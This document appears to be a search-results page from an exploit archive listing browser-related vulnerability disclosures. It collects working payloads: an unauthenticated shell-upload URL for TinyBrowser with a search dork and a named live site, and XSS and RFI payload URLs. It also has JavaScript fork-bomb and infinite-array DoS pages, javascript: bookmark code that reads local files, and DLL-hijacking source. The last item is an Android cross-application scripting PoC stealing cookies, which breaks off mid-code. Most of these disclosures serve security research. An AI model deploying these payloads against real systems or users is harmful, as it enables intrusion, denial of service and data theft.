browser

Search result for 'browser'
(0.0283617973328 seconds)
195 pages : 1 2 3 4 5 6 7 8 9 10 11 Next › Last»

Ra3cH/Tiny Browser Shell Upload ( na)




************************************************************
**    TinyBrowser Remote File upload Vulnerability
************************************************************
**  Prodcut:    TinyBrowser   
**  Home   :     www.dz4all.com/cc
**  Vunlerability :    Remote File upload
**  Risk  :    High
**  Dork :     inurl:"tinybrowser.php?"
************************************************************
** Discovred by:  Ra3cH
** From         :  Algeria
** Contact     :   e51@hotmail.fr
** *********************************************************
************************************************************
**  Exploit:
**  http://[PATH]/tinybrowser/upload.php?type=
**   
**  
************************************************************
**  Exemple:
**  http://www.skiflow.com/wp-content/plugins/simple-forum/editors/tinymce/plugins/tinybrowser/upload.php?type=
**
**
**
************************************************************ 
**  ** Greetz to :     ALLAH
**         All Members of  http://www.DZ4All.cOm/Cc
**          And My BrOther AnGeL25dZ & yasMouh & ProToCoL & Mr.Benladen & T O X ! N £ & n2n & 
***********************************************************                 
_________________________________________________________________
Installez gratuitement les nouvelles Emoch'ticones !
http://www.ilovemessenger.fr/emoticones/telecharger-emoticones-emochticones.aspx




Tiny Browser suffers from a shell upload vulnerability.

Preben Nylokken/BrowserCRMXSS.txt ( na)

Inputs in the BrowserCRM is not properly sanitized, and XSS is possible in a lot of the systems input fields and url parameters.

Some fields have been filtered in a basic form, so that simple scripting like "<script>alert('XSS')</script>" is not possible. Howevere, since the filtering is not based on white listing you can conduct successful XSS attacks with code like "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>".

PoC: http://www.SITE.example/modules/Search/results.php?query=%3CIMG+SRC%3Djavascript%3Aalert%28String.fromCharCode%2888%2C83%2C83%29%29%3E

Vendors site:http://www.browsercrm.com/

Please credit to: Preben Nyløkken


BrowserCRM suffers from cross site scripting flaws.

/browser.forkbomb.txt ( na)

Jim Paris <jim@JTAN.COM>

http://home.jtan.com/~jim/bugs/both/fork.html

Repeated Browser Spawning

New browser windows can be opened automatically with Javascript's window.open command. This page simply spawns a neverending supply of
windows. This is similar to the Unix "while(1){fork();}" attack. Any browser that supports opening new windows with Javascript is vulnerable.

I read that Netscape 4.x has a 100 window limit for untrusted pages. There are two problem with this. First, 100 is still a lot of windows to have open at
once. Also, as soon as you close the 100th browser window, a new one is spawned.

Sometimes you can close the windows faster than they come up, and once you close them all, it will stop. Sometimes you can't, and rebooting is
necessary.

The most effective way to write this script would be to have each new window run a new copy, making the browser spawning exponential. This can put
a load on the remote server, however, because each new window would request a new copy of the page if the user's browser is configured to always
check for new pages. As a result, all of the spawned windows are empty in the example below.

The link below points to the following HTML page:

<html><head><title>Browser Spawning!</title></head><body>
<script>while(1) window.open("")</script>
</body></html>


old forkbomb exploit shows msie and netscape browsers still very vulnerable to forkbomb DoS attacks.

Lostmon/browser-overflows.txt ( na)

##################################################
Multiple Browsers Stack overflow in javascript with infinite array
original article:http://lostmon.blogspot.com/
2008/11/multiple-browsers-stack-overflow-in.html
##################################################
############
Description
############

Multiple Browsers are prone vulnerables to a stack overflow
or crash via infinite array in Javascript engine.
This is a extended research from this vulnerability/exploit :
http://www.securityfocus.com/bid/31703

This issue can use for example in a web post vulnerable to xss
Style attacks or similar to do a DoS from web to Web browsers victim´s.

################
Browsers Tested:
################

Fail = affected
pass = Not affected ¿?

#####################
Testing
#####################
.:[-Multiple Browsers infnite array PoC By Lostmon -]:.
Here You have two variants of this array sav this file:
#####################################
<html>
<head>
<title>.:[-Multiple Browsers infnite array PoC By Lostmon -]:.</title>
<script type="text/javascript">
function infinite_array()
{
foo = new Array();
alert('infinite array');
while(true) {foo = new Array(foo);}
}
function infinite_array2()
{
foo = new Array();
alert('Infinite array with sort()');
while(true) {foo = new Array(foo).sort();}
}
</script>
</head>
<body>
<h3>.:[-Multiple Browsers infnite array PoC By Lostmon -]:.</h3>
<input type="button" value="Infinite array Without sort()"
onclick="infinite_array();" />
<input type="button" value="Infinite array with sort()"
onclick="infinite_array2();" />
</body></html>
####################################

see table image :
http://usuarios.lycos.es/reyfuss/xss/images/tabla.GIF

###############
Stack Overflow
###############

IE7 , Avant Browser and Maxthor browsers this cause a stack
overflow in javascript.

In ie7 i try to trace and exploit it with olly debugger ,
but all cases what i test to turn it executable , are all
time go to SEH. This is not exploitable , and the browsers
wen click in the alert can continue working without problems;
them this is a recoverable issue.Microsoft security team has
determine that this issue at this moment is not exploitable.

In Google Chrome can cause a tab Crash or if we only have
open one window and one tab, open the exploit, and don´t wait,
try to navigate to google or other site causes that google
Chrome close without warning , error, or alert, if we have
open multiple tabs, this issue only crash/close the tab
affected by the exploit. If open the exploit and wait few
seconds Chrome show a warning to close the crashed tab.


################
Memory abuse
################

In ie7 can cause a memory abuse and can turn unestable all
system and all aplications.(it can load all memory)

In safari for windows can cause a program termination, safari
closes all windows, all tabs without a alert or a warning or
error.With olly , can trace , and it´s too a stack overflow.

In Google Chrome can cause a tab Crash or if we only have open
one window and one tab, open the exploit, and don´t wait, try
to navigate to google or other site causes that google Chrome
close without warning , error, or alert if open the exploit
and wait few seconds Chrome show a warning to close the
crashed tab.

Some other browsers detects the slow scripts and ask for stop.
In opera , it abuse memory , but we can recover it or navigate
to other sites them this is a recoverable issue.

#######################€nd#####################

Thnx to Microsoft security team for support &amp; interesting.
Thnx to Apple security team for support &amp; interesting.
--
Thnx to estrella to be my ligth
Thnx To FalconDeOro for his support
Thnx To Imydes From http://www.imydes.com

--
atentamente:
Lostmon (lostmon@gmail.com)

Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

-- 
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....


Multiple browsers suffer from a possible stack overflow condition related to an infinite array in javascript.

bitlance winter/browserDisclose.txt ( na)

Multi browser sensitive information disclosure

I. DESCRIPTION:

Mr.upken disclosed this issue publicly on 19th Feb. 2005.
Here is his advisory.(language is Japanese)
http://xxx.upken.jp/report/ieup/
I have a few additional details to add to his original advisory.

II. IMPACT:

Disclosure of sensitive information to an unauthorised user.

III. TECHNICAL DETAILS:

RFC1867 is the standard definition of that "Browse..." button
that you use to upload files to a Web server.
It introduced the INPUT field type="file", which is that button,
and also specified a multipart form encoding which is capable of
encapsulating files for upload along with all the other fields
on an upload form.

As Mr.upken has mentioned in his advisory, there is a weakness in
"Form-based File Upload in HTML".
"When we use InternetExplorer" , he says ,"secret or sensitive
information can be exposed by an malicious people."

I have tested some examples, and it is found that Firefox, Opera,
and InternetExplorer have a weakness.( tested on WindowsXPSp2 )

IV. Proof of Concept [A].

server-side Perl CGI.(ask.cgi)
- ---------------------------
#!/usr/bin/perl
print "Content-Type: text/html\n\n";

die if $ENV{CONTENT_LENGTH} > 100*1024;

$objectname = "RFC1867";
$boundary = <STDIN>;
$boundary =~s /\r\n//;
while(<STDIN>){
  if($_ =~ /$objectname/){
    ~s/\r\n//;
    ~s/"//g;
    @dum = split(/filename=/, $_);
    $rfc1867 = $dum[@dum - 1];
  }
}
&amp;Filtertxt( $rfc1867 );
print "$rfc1867\n";

exit(0);

sub Filtertxt {
    local( $ft ) = @_;
    $fd =~ s/[\<\>\"\'\%\;\)\(\&amp;\+]//g;
    return( $ft ) ;
}
- ---------------------------

client-side FORM.
- ---------------------------
<form name="XA" method="POST" enctype="multipart/form-data"
action="http://example.com/cgi-bin/ask.cgi">
<input type="file" name="RFC1867">
<input type="hidden" name="XB" value="HIDDEN">
<input type=submit value="Upload">
</form>
- ---------------------------

NOTE:
Method is "POST".
When we upload a some file,
%USERNAME% , Path, etc... is disclosed.
I guess that only IE has a weakness.


V. Proof of Concept [B].

server-side Perl CGI.(named ask2.cgi)
- ---------------------------
#!/usr/bin/perl

if($ENV{'REQUEST_METHOD'} eq 'POST'){
#reads inputted variables through POST
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
}
else{
#reads inputted variables through GET
$buffer = $ENV{'QUERY_STRING'};
}

#splits the variables at &amp;
@pairs = split(/&amp;/, $buffer);
foreach $pair (@pairs) {
#sets the value and name of each var
($name, $value) = split(/=/, $pair);
#makes each + into a space
$value =~ tr/+/ /;
#URL decode
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
#filter out bad characters &amp; # < > " '
$value = &amp;Filtertxt( $value );
#sets the varibles in a hash
$FORM{$name} = $value;
}

#print html .
print "Content-Type: text/html\n";
print "\n";
print "$FORM{'XB'}\n";
print "<br>\n";
print "$FORM{'RFC1867'}\n";

exit(0);

sub Filtertxt {
    local( $ft ) = @_;
    $fd =~ s/[\<\>\"\'\%\;\)\(\&amp;\+]//g;
    return( $ft ) ;
}
- ---------------------------

client-side FORM.
- ---------------------------
<form name="XA" method="GET" enctype="multipart/form-data"
action="http://example.com/cgi-bin/ask2.cgi">
<input type="file" name="RFC1867">
<input type="hidden" name="XB" value="HIDDEN">
<input type=submit value="Upload">
</form>
- ---------------------------

NOTE:
Method is "GET".
When we try to upload a some file,
%USERNAME% , Path, etc... is disclosed.
I guess that both Opera and IE have a weakness.


V. Proof of Concept [C].
server-side Perl CGI is as same as Proof of Concept [B].

client-side FORM.
- ---------------------------
<form name="XA" method="GET" enctype="multipart/form-data"
action="http://example.com/cgi-bin/ask2.cgi">
<input type="file" name="RFC1867">
<input type="hidden" name="XB" value="HIDDEN">
<input type=submit value="Upload"
onclick="document.XA.XB.value=document.XA.RFC1867.value;return true" >
</form>
- ---------------------------

NOTE:
Method is "GET".
When we try to upload a some file,
%USERNAME% , Path, etc... is disclosed.
I guess that all Firefox,Opera and IE have a weakness,
using evil JavaScript scripting.


VI. Other browser on Other OS.
not tested. But......


VII. Is this a vulnerability?

At once I had used InternetExplore as a FTP tool.
Today, when I am testing PoC3, browsing upload file,
using Firefox , I find
"MyNetwork - ftp02.websamba.com - mhtmlbug - scriptkitty.jpg"
and upload it to another server.
Then my monitor displays
C:\Documents and Settings\%USERNAME%\Local Settings\
Temporary Internet Files\Content.IE5\YB6J6PY3\scriptkitty[4].jpg

Oh,no. YB6J6PY3 !
It is no matter. I guess this is NOT a vulnerability, maybe.


VIII. Workaround

Do not upload any file onto untrusted server.
Do not attach any file ( while sending WebMAIL, posting ML,etc).
With killing JavaScript , use Firefox.


VIII. Credit

Discovery: upken
Additional Research: bitlance winter


BEST REGARDS.

--
bitlance winter

_________________________________________________________________
Don’t just search. Find. Check out the new MSN Search! 
http://search.msn.click-url.com/go/onm00200636ave/direct/01/



Multiple browsers suffer from a sensitive information disclosure flaw. Proof of concept exploitation included.

SET-FW/browser-bug.txt ( na)


SET <set-fw@bigfoot.com>
March 2000           http://www.set-ezine.org


---[ CONTENTS ]---

- 01 -  Introduction
- 02 -  Oddities
- 03 -  Conclusions


Introduction
=-=-=-=-=-=-


Browsers under Linux will hang when trying to access certain devices, this
bug may be considered similar to the \con\con bug except that the 
technological superiority of Linux will prevent a system crash.
Examples have been tested under different versions of Lynx and Netscape,
sometimes the behaviour of the browser differ.
The bug was originally reported by Fuska in a message posted in the
SET forum.
Original message URL:
http://www.coolboard.com/msgshow.cfm/msgboard=377408526880083&amp;msg=571161262892011&amp;page=1&amp;idDispSub=63896961854800


Some of the devices that will make a browser hang are
/dev/tty*
/dev/cua*
/dev/std*
/dev/egp
/dev/ggp
/dev/inet/*
/dev/initctl

You could embed this bug in a test page in the form:
<a href="file:/dev/tty1"> Surprise </A>

As you might imagine there are some secondary effects like losing the
control of your keyboard for some seconds, etc and of course (needless
to say) you can't open a file you haven't permissions for.

If you don't want to wait for someone to follow a link you can make
the process quicker by using this mini-page or some variation.

<html>
<body onload=window.open('file:/dev/stderr')>
</body>
</html>

Hangs Netscape (with javascript enabled) 


We have put a small test page on-line:
http://www.set-ezine.org/browser-test.html


Oddities
=-=-=-=-

Trying to open /dev/mouse will have the effect of freezing the mouse,
you won't be returned control until the page load is halted.
With /dev/ftape you will have some minutes of fun seeing your fd drive
going crazy but perhaps you should buy a new one after the show is over
(this hasn't been thoroughly tested), note that this can be induced
remotely with a simple link or auto-magically.

There are plenty of devices that will act 'funny' when called this way,
after playing for some time you should check how many modules you have
loaded, it's possible that a remote site could make a html page to 
load some kernel modules in your machine, trying to guess if you are
hosting any popular trojan module or with a more dangerous idea.
An example could be using /dev/audio or /dev/ptmx as the target file.
Watching syslog output you'll see that some modules "refuse" to die
and keep scanning for devices.



Conclusions
=-=-=-=-=-=

This text is not intended to cause 'alarm', although sometimes the effects
of accesing devices can be annoying most of the time they can be limited
by a mid-experienced user anyway the ability of crashing a browser or
loading modules remotely without your consent isn't clearly what you 
would want.
Finally we want to remind that Fuska was the person who give us the
first notice about this bug.


Feel free to copy and distribute.

SET (c) 2000 . http://www.set-ezine.org




Linux web browsers are affected by accessing devices, this bug may be considered similar to the \con\con bug except that the technological superiority of Linux will prevent a system crash.

/browser.bookmarks.txt ( na)

Date: Sun, 9 May 1999 17:34:10 +0300
From: Georgi Guninski <joro@NAT.BG>
To: BUGTRAQ@netspace.org
Subject: Bookmarks security vulnerabilities in both Internet Explorer 5.0 and Netscape Communicator 4.51 (Win95)


There is a design flaw in both Internet Explorer 5.0 and Netscape Communicator 4.51 Win95
(guess all 4.x versions of both browsers are vulnerable too) in the way they handle bookmarks.
The problem arises if the user bookmarks (adds to favorites) and later chooses a specially designed
"javascript:" URL. When the bookmark is chosen later, the JavaScript code in it
is executed in the context (the same domain and protocol) of the document
opened prior to choosing the bookmark. So, the JavaScript code has access to
documents in the same domain. An interesting case is choosing the bookmark
when the active document is a local file (the protocol is "file:") - then the
JavaScript code has access to local files and directories.
The vulnerabilities are more serious for Internet Explorer 5.0.

Some of the vulnerabilities are:

 For Internet Explorer 5.0:
  Reading local files if the filename is known;
  Reading files in the domain of the active document (even if the web server is blocked by a firewall);
  Reading links in the active document and in documents in the same domain;
  Web spoofing of documents in the domain of the active document;

  Demonstration is available at: http://www.nat.bg/~joro/favorites.html

 For Netscape Communcator 4.51:
  Browsing local directories;
  Reading local files in the directory of the active document;
  Reading links in the active document and in documents in the same domain;
  Web spoofing of documents in the domain of the active document;

  Demonstration is available at: http://www.nat.bg/~joro/bookmarks.html

Workaround: Disable JavaScript or do not bookmark untrusted pages

Georgi Guninski
 http://www.nat.bg/~joro
 http://www.whitehats.com/guninski

-------------------------------------------------------------------------------

<http://www.nat.bg/~joro/favorites.html>

<HTML>
<HEAD>
<TITLE>
IE 5.0 "Favorites" vulnerability
</TITLE>
</HEAD>
There is a design flaw in Internet Explorer 5.0 (guess 4.x is vulnerable too) in the way it handles favorites.
This vulnerability allows reading local files and sending them to an arbitrary server.
<BR>
If an user adds to favorites a specially designed "javascript:" URL, later opens a local file and then choose the URL from the Favorites, his local files may be read if the filename is known.
<BR>
Probably there are more serious exploits.
<BR><BR>
Demonstration:
<BR>
<BR>
<A HREF="javascript:if(window.location.href.substr(0,5)=='file:') {html='AUTOEXEC.BAT reading<object id=\'myTDC\' width=100 height=100 classid=\'CLSID:333C7BC4-460F-11D0-BC04-0080C7055A83\'><param name=\'DataURL\' value=\'c:/autoexec.bat\'><param name=\'UseHeader\' value=False><param name=\'CharSet\' VALUE=\'iso-8859-1\'><param name=\'FieldDelim\' value=\'}\'><param name=\'RowDelim\' value=\'}\'><param name=\'TextQualifier\' value=\'}\'></object><form><textarea datasrc=\'#myTDC\' datafld=\'Column1\' rows=10 cols=80></textarea></form><SCRIPT>s=\'Here is your AUTOEXEC.BAT:\';setTimeout(\'alert(s+document.forms[0].elements[0].value)\',4000)</SCRIPT>';a=window.open(window.location);a.document.open();a.document.write(html);a.document.close();} s='<TITLE>Reading AUTOEXEC.BAT</TITLE>This page demonstrates reading AUTOEXEC.BAT with IE 5.0<BR>To test it:<BR>1) Add this page to favorites (Favorites|Add to favorites...)<BR>2) Open a local html, gif or jpeg file with IE (the protocol must be \'file://\')<BR>3) Choose from favorites the page you added in step 1)<HR>Written by <A HREF=\'http://www.nat.bg/~joro\'>Georgi Guninski</'+'A>'">
Reading AUTOEXEC.BAT
</A>

<BR>

<A HREF="javascript:if(window.location.href.substr(0,5)=='file:') {a=window.open('file://c:/test.txt');alert(a.document.body.innerText);a.close();}html='<TITLE>Reading TEST.TXT</TITLE>This page demonstrates reading the file C:\\TEST.TXT with IE 5.0<BR>To test it:<BR>1) Add this page to favorites (Favorites|Add to favorites...)<BR>2) Open a local html, gif or jpeg file with IE (the protocol must be \'file://\')<BR>3) Create a short text file C:\\TEST.TXT<BR>4) Choose from favorites the page you added in step 1)<HR>Written by <A HREF=\'http://www.nat.bg/~joro\'>Georgi Guninski</'+'A>';">
Reading file "c:\test.txt"
</A>

<BR>
Workaround: Disable Javascript or do not add to favorites untrusted pages.
</HTML>

-------------------------------------------------------------------------------

<http://www.nat.bg/~joro/bookmarks.html>

<HTML>
<HEAD>
<TITLE>
Netscape Communicator bookmark vulnerabilities
</TITLE>
</HEAD>
There is a design flaw in Netscape Communicator 4.51/Win95 (guess all 4.x versions are vulnerable) in the way it handles bookmarks.
<BR>
This allows at least browsing local directories, reading local files and sending them to an arbitrary server. Probably there are more serious exploits.
<BR>
If the user bookmarks a specially designed "javascript:" URL, later open local file and then choose the bookmark, the bug is triggered.
<BR>

<BR>
Demonstration:
<BR>
<A HREF="javascript:if(window.location.href.substr(0,5)=='file:') {a=window.open('wysiwyg://1/file:///c|/');s='Here are some files in your C: drive:\n';for(i=1;i<5;i++) s+= a.document.links[i]+'\n';alert(unescape(s));a.close();} html='<TITLE>Browsing directories with Netscape Communicator</TITLE>This page demonstrates browsing direcotries with Netscape Communicator<BR>To test it:<BR>1) Bookmark this page (Bookmarks|Add Bookmark)<BR>2) Open a local html, text, gif, ... file or just browse directories with Netscape Communicator (the protocol must be \'file://\')<BR>3) Choose from bookmarks the page you added in step 1)<HR>Written by <A HREF=\'http://www.nat.bg/~joro\'>Georgi Guninski</'+'A>';">
Browsing directories
</A>

<BR>

<A HREF="javascript:if(window.location.href.substr(0,5)=='file:') {var f = new java.io.File('C:\\AUTOEXEC.BAT');var fis = new java.io.FileInputStream(f); i=0; b='Here is your file: \n';while ( ((a=fis.read()) != -1) &amp;&amp; (i<1000) ) { b += String.fromCharCode(a);i++;}alert(b);}; html='<TITLE>Reading AUTOEXEC.BAT with Netscape Communicator</TITLE>This page demonstrates reading AUTOEXEC.BAT with Netscape Communicator<BR>To test it:<BR>1) Bookmark this page (Bookmarks|Add Bookmark)<BR>2) Open a local html, text, gif, ... file in the root of C:\\ or just browse the root of C:\\ with Netscape Communicator (typing \'file:///c|/\' would do)<BR>It is possible to read any local file in the direcotry the user has opened<BR>3) Choose from bookmarks the page you added in step 1)<HR>Written by <A HREF=\'http://www.nat.bg/~joro\'>Georgi Guninski</'+'A>';">
Reading AUTOEXEC.BAT
</A>
<BR>
Workaround: Disable Javascript or do not bookmark untrusted pages.
</HTML>

-------------------------------------------------------------------------------

Date: Tue, 11 May 1999 21:59:32 -0700
From: Jim Reavis <jreavis@SECURITYPORTAL.COM>
To: BUGTRAQ@netspace.org
Subject: Re: Bookmarks security vulnerabilities in both Internet Explorer 5.0 and Netscape Communicator 4.51 (Win95)

I did get this to work as described with IE 5.0 on Win 95.  It failed until
I re-read the directions and opened a local GIF with the "file:///" syntax
versus "c:\"

Using NT SP5, I got an access denied in a large dialog box that contained
Georgi's code.  He didn't mention NT in his original advisory, so I assume
it is just Win 9X issue?

Jim Reavis
SecurityPortal.com - the focal point for security on the Net
Jreavis@securityportal.com <mailto:Jreavis@securityportal.com>



-----Original Message-----
From:   Russ [mailto:Russ.Cooper@RC.ON.CA]
Sent:   Monday, May 10, 1999 2:20 PM
To:     BUGTRAQ@NETSPACE.ORG
Subject:        Re: Bookmarks security vulnerabilities in
both Internet Explorer 5.0 and Netscape Communicator 4.51 (Win95)

I am unable to reproduce this on IE 5.0 with SP5. I get an error message
stating "Cannot find server or DNS error" after following Georgi's
instructions using TEST.TXT.

Even pasting the entire script in the address box fails to reproduce his
described effects.

Cheers,
Russ - NTBugtraq moderator



Bookmarks security vulnerabilities in both Microsofft Internet Explorer 5.0 and Netscape Communicator 4.51 allow malicious JavaScript code to be executed that can read local files, directories, intranet files, and even "spoof" intranet documents. Exploit code included.

anT!-Tr0J4n/GreenBrowser DLL Hijacking ( na)

/*
#GreenBrowser DLL Hijacking Exploit (RSRC32.DLL)
#Author : anT!-Tr0J4n
#Greetz : Dev-PoinT.com ~ inj3ct0r.com ~ ,All Dev-poinT members and my friends
#contact: D3v-PoinT@hotmail.com &amp; C1EH@Hotmail.com
# Software Link:http://www.morequick.com/indexen.htm
#Tested on: Windows XP sp3
#how to use :
   Complile and rename to RSRC32.DLL. Place it in the same dir  Execute to check the
  result > Hack3d 




#RSRC32.dll (code)
*/

#include "stdafx.h"

void init() {
MessageBox(NULL,"anT!-Tr0J4n", "own33d",0x00000003);
}


BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
 )
{
    switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
 init();break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
 case DLL_PROCESS_DETACH:
break;
    }
    return TRUE;
}


GreenBrowser DLL hijacking exploit.

Ghost Hacker/hiox-browser-rfi.txt ( na)



####################################################################################################
 HIOX Browser Statistics 2.0 Remote File Inclusion Vulnerability
 Ghost Hacker , R-h Team , Real Hack We Will Be Back Soon :)
####################################################################################################
[~] Found by : Ghost Hacker  - R-H Team -                      |,  .-.  .-.  ,|
[~] My Blog : http://gh0st10.wordpress.com                     | )(_o/  \o_)( |
[~] My Email : Ghost-r00t@Hotmail.com                          |/     /\     \|
[~] Name Script : HIOX Browser Statistics 2.0
[~] Download : http://www.hscripts.com/scripts/php/downloads/HBS_2_0.zip
#############################[ I love the Messenger of Allah Mohammad ]#############################
[~] Error (hioxupdate.php + hioxstats.php) :
include "$hm/browser.php";
[~] Exploit :
http://xxxx.com/[path]/hioxupdate.php?hm=Evil_Code
http://xxxx.com/[path]/hioxstats.php?hm=Evil_Code
#############################[ I love the Messenger of Allah Mohammad ]#############################
[~] Greetz :
Mr.SaFa7 &amp; RoMaNcYxHaCkEr &amp; Night Mare &amp; Root Hacker &amp; Dmar al3noOoz ,
All Members Real Hack &amp; Members Arabs Security And All My Friends ,
####################################################################################################
 Ghost Hacker , R-h Team , Real Hack We Will Be Back Soon :)
####################################################################################################
_________________________________________________________________
Express yourself instantly with MSN Messenger! Download today it's FREE!
http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/

HIOX Browser Statistics version 2.0 suffers from a remote file inclusion vulnerability.

webDEViL/Amaya Web Browser Buffer Overflow ( na)

Amaya Web Browser html tag overflow (quite a few tags are vulnerable)

(gdb) i r
eax            0x41414141    1094795585
ecx            0x0    0
edx            0xbfc0ff80    -1077870720
ebx            0x9ec1220    166466080
esp            0xbfc10064    0xbfc10064
ebp            0xbfc10268    0xbfc10268
esi            0xa2f64a0    170878112
edi            0xbfc10160    -1077870240
eip            0x8144b40    0x8144b40 <EndOfHTMLAttributeValue(char*, _AttributeMapping*, int*, int*, bool, _ParserData*, bool)+2352>
eflags         0x10246    [ PF ZF IF RF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51
(gdb) x/10x $ebp
0xbfc10268:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfc10278:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfc10288:    0x41414141    0x41414141


#cat test.html
<bdo dir="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" >webDEViL</bdo>




Amaya Web Browser versions 10.0.1 and 10.1-pre5 buffer overflow proof of concept exploit.

Yair Amit/Android Browser Cross Application Scripting ( na)

=============================================================
 Android Browser Cross-Application Scripting (CVE-2011-2357)
=============================================================

1) Background
--------------
Android applications are executed in a sandbox environment, to ensure that 
no
application can access sensitive information held by another, without 
adequate
privileges. For example, Android's browser application holds sensitive
information such as cookies, cache and history, and this cannot be 
accessed by
third-party apps. An Android app may request specific privileges during 
its
installation; if granted by the user, the app's capabilities are extended.
Intents are used by Android apps for intercommunication. These objects can 
be
broadcast, passed to the startActivity call (when an application starts 
another
activity), or passed to the startService call (when an application starts 
a
service). Normally, when startActivity is called, the target activity's
onCreate method is executed. However, under AndroidManifest.xml it is 
possible
to define different launch attributes, which affect this behavior. One 
example
is the singleTask launch attribute, which makes the activity act as a
singleton. This affects the startActivity call: if the activity has 
already
been started when the call is made, the activity's onNewIntent member 
function
is called instead of its onCreate method. Moreover, if the target activity 
is
not in focus when the call is made, Android automatically inserts the
FLAG_ACTIVITY_BROUGHT_TO_FRONT flag to the input Intent, which it doesn't 
do
otherwise.


2) Browser Internals
---------------------
The Android browser's main activity, as defined in its manifest file, is
BrowserActivity. This is defined with the singleTask launch mode. The 
input
Intent for the activity may hold a URL, which is opened and then rendered 
by
the browser.
* The activity's onCreate member function, tries to restore the
  browser's previous state. If it fails to do so, it creates a new tab, 
with the
  input Intent's URL (if there is one), or else with the defined homepage.
* The activity's onNewIntent member function, has the following 
characteristic:
  If the Intent is not a search Intent (for example, if its action is
  ACTION_VIEW), or if it is a search Intent with a query string defined in 
URL
  form, then it performs a resolution in order to deduce which tab to load 
the
  given URL under (again, if there is no input URL, the homepage is used 
as a
  fallback):
  * If the intent contains FLAG_ACTIVITY_BROUGHT_TO_FRONT flag, it tries 
to
    find a tab with a matching application ID (as indicated by the 
Intent's
    Browser.EXTRA_APPLICATION_ID extra string) or with a matching URL. If 
it
    fails to do so, it loads the URL in a new tab, as long as the number 
of
    opened tabs is less than MAX_TABS (usually 8). Otherwise, it opens the 
URL
    in the current tab.
  * As a last resort, it loads the URL in the current tab.

The Browser app uses the WebView class as the underlying engine. If the 
WebView
class has already loaded a URL, and the same instance is used to load a
javascript:// URI, then the javascript is executed in the domain of the 
loaded
URL. This is the desired behavior, as it allows applications to inject 
scripts
into loaded pages, and control the WebView. However, this means that the
browser must take special care if it reuses the same WebView instance, in 
order
to avoid a Cross-Application Scripting vulnerability.


3) Vulnerability
-----------------
A 3rd party application may exploit Android's Browser URL loading process 
in
order to inject JavaScript code into an arbitrary domain thus break 
Android's
sandboxing. There are two vectors that can achieve this:
1. The malicious application causes the Android's browser to reach the 
MAX_TAB
   limit. From then on URLs are loaded under the current tab. The 
attacking
   application can open MAX_TAB URLs by calling startActivity <MAX_TAB> 
times
   with the attacked domain. On the <MAX_TAB+1>th call, the attacking app 
can
   insert a javascript:// URI, which will be opened in the context of the
   attacked domain. It should be denoted that the sent Intent should be
   combined with the FLAG_ACTIVITY_BROUGHT_TO_FRONT flag because it is 
likely
   that the Browser will have UI focus from the second intent and forward, 
in
   which case Android won't attach this flag automatically and the crucial 
code
   fragment under onNewIntent will not be executed.
2. Sending two consecutive startActivity calls. The first call includes 
the
   attacked domain, and causes Android's browser to load it. The second 
call
   contains the javascript code. If the time interval between the two 
intents
   is small enough, then it is likely that the browser will have UI focus 
when
   the second startActivity call is made, therefore the input intent won't 
have
   the FLAG_ACTIVITY_BROUGHT_TO_FRONT flag and, as explained in the 
previous
   vector, the JavaScript URI will be opened under the current tab, i.e. 
the
   attacked domain.


4) Impact
----------
By exploiting this vulnerability a malicious, non-privileged application 
may
inject JavaScript code into the context of any domain; therefore, this
vulnerability has the same implications as global XSS, albeit from an 
installed
application rather than another website. Additionally, an application may
install itself as a service, in order to inject JavaScript code from time 
to
time into the currently opened tab, thus completely intercepting the 
user's
browsing experience.


5) Proof-of-Concept
--------------------
The following is a PoC for the second technique:

public class CasExploit extends Activity
{
   static final String mPackage = "com.android.browser";
   static final String mClass = "BrowserActivity";
   static final String mUrl = "http://target.domain/";
   static final String mJavascript = "alert(document.cookie)";
   static final int mSleep = 15000;

   @Override
   public void onCreate(Bundle savedInstanceState) {
      super.onCreate(savedInstanceState);
      setContentView(R.layout.main);
      startBrowserActivity(mUrl);
         try {
             Thread.sleep(mSleep);
         }
